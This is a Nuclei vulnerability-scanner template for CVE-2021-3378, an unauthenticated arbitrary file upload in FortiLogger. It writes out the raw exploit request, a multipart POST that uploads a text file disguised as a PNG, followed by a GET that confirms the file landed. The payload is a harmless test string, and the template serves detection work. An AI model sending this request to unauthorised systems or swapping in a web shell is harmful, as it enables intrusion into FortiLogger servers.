nuclei-templates/cves/2021/CVE-2021-3378.yaml

id: CVE-2021-3378

info:
  name: FortiLogger Unauthenticated Arbitrary File Upload
  author: dwisiswant0
  severity: critical
  description: |
    This template detects an unauthenticated arbitrary file upload
    via insecure POST request. It has been tested on version 4.4.2.2 in
    Windows 10 Enterprise.
  reference:
    - https://erberkan.github.io/2021/cve-2021-3378/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3378
    cwe-id: CWE-434
  tags: cve,cve2021,fortilogger,fortigate,fortinet

requests:
  - raw:
      - |
        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: application/json
        Referer: {{BaseURL}}
        Connection: close
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="file"; filename="poc.txt"
        Content-Type: image/png

        POC_TEST

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS

      - |
        GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "POC_TEST"
        part: body

      - type: word
        words:
          - "text/plain"
          - "ASP.NET"
        condition: and
        part: header